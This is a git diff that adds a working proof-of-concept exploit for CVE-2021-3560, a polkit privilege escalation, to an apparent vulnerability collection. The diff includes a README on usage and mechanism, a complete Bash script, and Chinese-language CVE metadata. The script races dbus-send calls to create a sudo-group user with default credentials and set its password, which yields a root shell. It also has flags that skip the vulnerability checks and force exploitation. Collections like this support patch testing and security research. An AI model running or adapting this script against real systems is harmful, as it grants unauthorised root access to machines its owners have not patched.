diff --git a/cve/polkit/2021/CVE-2021-3560/README.md b/cve/polkit/2021/CVE-2021-3560/README.md new file mode 100644 index 0000000000000000000000000000000000000000..6c32213c99e59cdae43c97dea8a1d7b1433b37a5 --- /dev/null +++ b/cve/polkit/2021/CVE-2021-3560/README.md @@ -0,0 +1,60 @@ +# CVE-2021-3560-Polkit-Privilege-Esclation PoC + +## Original research by Kevin Backhouse +This is just a Bash PoC script, that automates the exploitation steps mentioned in Kevin Backhouse's blog. +Read his post on this vulnerability: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ + +## Usage +```bash +USAGE: + ./poc.sh + -h --help + -u=Enter custom username to insert (OPTIONAL) + -p=Enter custom password to insert (OPTIONAL) + -f=y, To skip vulnerability check and force exploitation. (OPTIONAL) + -t=Enter custom sleep time, instead of automatic detection (OPTIONAL) + Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms +Note: +Equal to symbol (=) after specifying an option is mandatory. +If you donot specify the options, then the script will automatically detect the possible time and +will try to insert a new user using that time. +Default credentials are 'secnigma:secnigmaftw' +If the exploit ran successfully, then you can login using 'su - secnigma' +and you can spawn a bash shell as root using 'sudo bash' +``` + +## Things to note: +- This exploit works only on distributions that have installed `accountsservice` and `gnome-control-center` and it must have `polkit` version 0.113 (or later) OR `0-105-26` (Debian fork of `polkit`). +- This exploit was tested on `Ubuntu` `20.04`, with `polkit` version `0-105-26` (Debian fork of `polkit`) and `Centos 8` with polkit version `0.115`. If you are sure that your target is vulnerable, but the exploit's check function fails, use the `-f=y` flag to bypass all checks and force the exploit. +- Distributions such as RHEL 8, Fedora 21, Debian testing ("bullseye") and Ubuntu 20.04 are found to be vulnerable. +- A list of distribution compatibility can be found from Kevin's [blog](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history). +- This script injects a new user in sudo group. If the exploit worked, we can login to the account using `su - ` with the password provided to the script, and then enter `sudo bash` to drop into a root shell! +- Since this attack relies on precise timing, **MULTIPLE TRIES ARE USUALLY REQUIRED** for this exploit to work. +- ** WARNING: DO NOT RUN THIS SCRIPT IN GRAPHICAL LOGIN!** +- If this script is run in a graphical login environment, the loop will keep popping the polkit authentication repeatedly. So, run this exploit only inside an SSH/NC shell. +- If that ever happens, press `Esc` key to close the authentication prompt and `Ctrl+C` to terminate the script in a quick manner. + +## How the exploit works? +Comprehensive explanation and PoC to exploit this manually is given at the researcher's blog in detail. + + *TL;DR* of this exploit is given below: + +- This attack requires precise timing and we have to login via SSH (or some command line session, where opening graphical applications are not an option). +- An attacker can exploit this vulnerability by triggering `polkit` by sending a `dbus` message, but closing the request abruptly, while `polkit` is processing the request. Then the attacker can send a second request with the previoud request's unique bus identifier, to execute the request as UID `0` a.k.a `root`. +- This vulnerability exists in `polkit`, because it treats the UID of a connection with a bus identifier that no longer exists, as a request from UID `0`. Which means that, if we can time the attack correctly and terminate our first request at the right moment, then we can request the second request with the privileges of UID `0` a.k.a `root`. +- The timing to terminate the connection is calculated as the time required to send the dbus-message / 2. Explained in detail [here](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#exploitation). + +## What actually does this script do? +Like I said before, this is just a bash script that automates Kevin Backhouse's PoC. The core commands are the same; I just automated some initial steps (like getting the timing right, scanning for vulnerability, custom credentials insertion, printing pretty colors etc). + +If this script has been run without any parameter, then the default behaviour of this script is as follows: +- Check the distribution type. [Using `/etc/os-release` file.] +- Checks for installation of `accountservice` and `gnome-control-center`. [In `rhel/centos/fedora`, uses `rpm -qa` and in `debian/ubuntu` distributions, it uses `dpkg -l`]. +- If the installations are found, then the script checks of polkit version. [ 0.113 (or later) for `rhel.centos,fedora` and `0-105-26` for `Debian/Ubuntu`] +- If polkit version is found to be vulnerable, the script starts exploitation +- First, the script finds the time required to send the request using debus-send by issuing ```bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ``` +- Then, the time to terminate the request (`$t`) is calculated by dividing the time required to request by 2. (`$t=time-required-to-request/2`) [Calculated using awk] +- After the time (`$t`) is calculated, the request to insert the `$username` `secnigma` to the target is repeated 20 times. ```bash +dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! ``` +- If the user insertion is succesful, [found using `id secnigma`], then a password hash is generated [using ```bash openssl passwd -5 `echo -n $password` ``` ]. (`$password=secnigmaftw`) +- Then the password hash insertion command is executed for 20 times. ```bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $! ``` \ No newline at end of file diff --git a/cve/polkit/2021/CVE-2021-3560/poc.sh b/cve/polkit/2021/CVE-2021-3560/poc.sh new file mode 100644 index 0000000000000000000000000000000000000000..e6a8fb4f7abdeffc5b3fead538b7224b4d453d5e --- /dev/null +++ b/cve/polkit/2021/CVE-2021-3560/poc.sh @@ -0,0 +1,324 @@ +#!/bin/bash + +$USR +$PASS +$TIME +$FORCE + +RED='\033[0;31m' +GREEN='\033[0;32m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color +# Argparse +function usage(){ + echo "CVE-2021-3560 Polkit v0.105-26 Linux Privilege Escalation PoC by SecNigma" + echo "" + echo "Original research by Kevin Backhouse" + echo "https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#vulnerability" + echo "" + echo "USAGE:" + echo "./poc.sh" + echo "Optional Arguments:" + echo -e "\t-h --help" + echo -e "\t-u=Enter custom username to insert (OPTIONAL)" + echo -e "\t-p=Enter custom password to insert (OPTIONAL)" + echo -e "\t-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)" + echo -e "\t-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)" + echo -e "\tFormat to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms " + echo -e "Note:" + echo -e "Equal to symbol (=) after specifying an option is mandatory." + echo -e "If you don't specify the options, then the script will automatically detect the possible time and" + echo -e "will try to insert a new user using that time." + echo -e "Default credentials are 'secnigma:secnigmaftw'" + echo -e "If the exploit ran successfully, then you can login using 'su - secnigma'" + echo -e "and you can spawn a bash shell as root using 'sudo bash'" + printf "${RED}IMPORTANT: THIS IS A TIMING BASED ATTACK. MULTIPLE TRIES ARE USUALLY REQUIRED!!${NC}\n" + echo -e "" +} + + +while [ "$1" != "" ]; do + PARAM=`echo $1 | awk -F= '{print $1}'` + VALUE=`echo $1 | awk -F= '{print $2}'` + case $PARAM in + -h | --help) + usage + exit + ;; + -u) + USR=$VALUE + ;; + -p) + PASS=$VALUE + ;; + -t) + TIME=$VALUE + ;; + -f) + FORCE=$VALUE + ;; + *) + echo "ERROR: unknown parameter \"$PARAM\"" + usage + exit 1 + ;; + esac + shift +done + + + + + +if [[ $USR ]];then + username=$(echo $USR) +else + username="secnigma" +fi +printf "\n" +printf "${BLUE}[!]${NC} Username set as : "$username"\n" +if [[ $PASS ]];then + password=$(echo $PASS) +else + + password="secnigmaftw" +fi +# printf "${BLUE}[!]${NC} Password set as: "$password"\n" + +if [[ $TIME ]];then + printf "${BLUE}[!]${NC} Timing set to : "$TIME"\n" +else + + printf "${BLUE}[!]${NC} No Custom Timing specified.\n" + printf "${BLUE}[!]${NC} Timing will be detected Automatically\n" +fi + +if [[ $FORCE ]];then + printf "${BLUE}[!]${NC} Force flag '-f=y' specified.\n" + printf "${BLUE}[!]${NC} Vulnerability checking is DISABLED!\n" +else + + printf "${BLUE}[!]${NC} Force flag not set.\n" + printf "${BLUE}[!]${NC} Vulnerability checking is ENABLED!\n" +fi + + +t="" +timing_int="" +uid="" + + +function check_dist(){ + dist=$(cat /etc/os-release|grep ^ID= | cut -d = -f2 |grep -i 'centos\|rhel\|fedora\|ubuntu\|debian') + echo $dist + +} + + + + +function check_installed(){ + name1=$(echo $1) + d1=$(echo $2) + if [[ $(echo $d1 | grep -i 'debian\|ubuntu' ) ]]; then + out=$(dpkg -l | grep -i $name1|grep -i "query and manipulate user account information\|utilities to configure the GNOME desktop") + echo $out + else + if [[ $(echo $d1 | grep -i 'centos\|rhel\|fedora' ) ]]; then + out=$(rpm -qa | grep -i $name1|grep -i "gnome-control-center\|accountsservice") + echo $out + fi + fi +} + +function check_polkit(){ + d=$(echo $1) + if [[ $(echo $d|grep -i 'debian\|ubuntu') ]]; then + out=$(dpkg -l | grep -i polkit|grep -i "0.105-26") + else + if [[ $(echo $d|grep -i 'centos\|rhel\|fedora') ]];then + out=$(rpm -qa | grep -i polkit|grep -i '0.11[3-9]') + fi + fi + echo $out +} + +function float_to_int(){ + floating=$(echo $1) + temp_val=$(echo ${floating:2:$((${#floating}))}) # Remove point + echo "`expr $temp_val / 1`" +} + +function inc_float(){ + floating=$(echo $1) + int_val=$(float_to_int $floating) + val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val + 1`'/g') + echo $val +} + +function dec_float(){ + floating=$(echo $1) + int_val=$(float_to_int $floating) + val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val - 1`'/g') + echo $val +} + +function fetch_timing(){ +exec 3>&1 4>&2 # Extra file descriptors to catch error +out=$( { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 2>&4 1>&3; } 2>&1 ) +tmp=$(echo $out |grep -i "real"|awk -F '.' '{print $2}') +tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))}) +exec 3>&- 4>&- # release the extra file descriptors +echo $tmp_timing +} + +function calculate_timing(){ +tmp_timing=$(echo $1) +size_tmp_timing=(echo ${#tmp_timing}) + +t=$(awk "BEGIN {print `echo $tmp_timing/2`}") +echo $t +exit +size_t=$(echo ${#t}) +if [[ "size_t" -gt "size_tmp_timing" ]] ; then + t=${t%?} +else + if [[ "size_t" -lt "size_tmp_timing" ]] ; then + t=$(awk "BEGIN {print `echo $tmp_timing/2`}") + fi +fi +echo $t +} + + + +function insert_user(){ + # Time required to finish the whole dbus-send request + time_fetched=$(fetch_timing) + + # Time to sleep + timing=$(calculate_timing `echo "0."$time_fetched`) + + temp_count=$(inc_float `echo $timing`) + count=$(float_to_int $temp_count) + + if [[ $TIME ]]; then + t="" + t=$(echo $TIME) + else + t="" + t=$(echo $timing) + fi + if [[ $(id `echo $username` 2>/dev/null) ]]; then + uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) + echo $uid","$t + else + + loop_count=20 + for i in $(seq 1 $loop_count|sort -r) + do + if [[ $(id `echo $username` 2>/dev/null) ]]; + then + uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) + echo $uid","$t + else + dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>/dev/null & sleep `echo $t`s 2>/dev/null; kill $! 2>/dev/null + fi + + + done +fi + +} + + + +function insert_pass(){ + ti=$(echo $1) + u_id=$(echo $2) + hash1=$(openssl passwd -5 `echo -n $password`) + temp_count=$(inc_float `echo $ti`) + count=$(float_to_int $temp_count) + time=$(echo $ti) + loop_count=20 + for i in $(seq 1 $loop_count|sort -r) + do + dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye 2>/dev/null & sleep `echo $ti`s 2>/dev/null; kill $! 2>/dev/null +done +return 1 + +} + +function exploit(){ + printf "${BLUE}[!]${NC} Starting exploit...\n" + printf "${BLUE}[!]${NC} Inserting Username `echo $username`...\n" + + ret=$(insert_user) + t=$(echo $ret|cut -d , -f2) + uid=$(echo $ret|cut -d , -f1) + + if [[ $(id `echo $username` |grep -i `echo $username`) ]]; then + printf "${GREEN}[+]${NC} Inserted Username `echo $username` with UID `echo $uid`!\n" + printf "${BLUE}[!]${NC} Inserting password hash..." + echo $timing + ret=$(insert_pass $(echo $t) $(echo $uid)) + if [[ "$ret" -ne "1" ]]; then + printf "${BLUE}[!]${NC} It looks like the password insertion was succesful!\n" + printf "${BLUE}[!]${NC} Try to login as the injected user using su - `echo $username`\n" + printf "${BLUE}[!]${NC} When prompted for password, enter your password \n" + printf "${BLUE}[!]${NC} If the username is inserted, but the login fails; try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the login was succesful,simply enter 'sudo bash' and drop into a root shell!\n" + else + printf "${BLUE}[!]${NC} It seems like the password injection FAILED!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" + + fi + + + else + printf "${RED}[x]${NC} Insertion of Username failed!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" + fi + +} + +if [[ "$FORCE" == "y" ]]; then + exploit + +else + printf "${BLUE}[!]${NC} Starting Vulnerability Checks...\n" + printf "${BLUE}[!]${NC} Checking distribution...\n" + dist=$(check_dist) + printf "${BLUE}[!]${NC} Detected Linux distribution as `echo $dist`\n" + + printf "${BLUE}[!]${NC} Checking if Accountsservice and Gnome-Control-Center is installed\n" + ac_service=$(check_installed $(echo "accountsservice") $dist) + gc_center=$(check_installed $(echo "gnome-control-center") $dist) + + + if [[ $ac_service && $gc_center ]] + then + printf "${GREEN}[+]${NC} Accounts service and Gnome-Control-Center Installation Found!!\n" + printf "${BLUE}[!]${NC} Checking if polkit version is vulnerable\n" + polkit=$(check_polkit $(echo $dist)) + if [[ $polkit ]] + then + printf "${GREEN}[+]${NC} Polkit version appears to be vulnerable!!\n" + exploit + else + printf "${RED}[x]${NC} ERROR: Polkit version does not appears to be vulnerable!!\n" + printf "${BLUE}[!]${NC} Aborting Execution!" + printf "${BLUE}[!]${NC} You might want to use the '-f=y' flag to force exploit\n" + fi + + + + else + printf "${RED}[x]${NC} ERROR: Accounts service and Gnome-Control-Center NOT found!!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + fi +fi \ No newline at end of file diff --git a/cve/polkit/2021/yaml/CVE-2021-3560.yaml b/cve/polkit/2021/yaml/CVE-2021-3560.yaml new file mode 100644 index 0000000000000000000000000000000000000000..d378eb64af9819bc466d13f47b1f5a1465a3fcbe --- /dev/null +++ b/cve/polkit/2021/yaml/CVE-2021-3560.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-3560 +source: https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation +info: + name: Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。 + severity: high + description: | + 发现polkit可能被欺骗,绕过D-Bus请求的凭据检查,将请求者的权限提升到root用户。 + scope-of-influence: + 0.105 ≥ policykit ≥ 0.113 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-3560 + - https://ubuntu.com/security/CVE-2021-3560 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-3560 + cwe-id: CWE-754,CWE-863 + cnvd-id: None + kve-id: None + tags: cve2021,权限提升 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 0da73d52db6244f5b65ee680cc5d7a3c19e91b04..0081dbae0bd8e9ed53510336ee084c8dc0bd4868 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -2,4 +2,6 @@ cve: linux-kernel: - CVE-2022-0995 + polkit: + - CVE-2021-3560 cnvd: \ No newline at end of file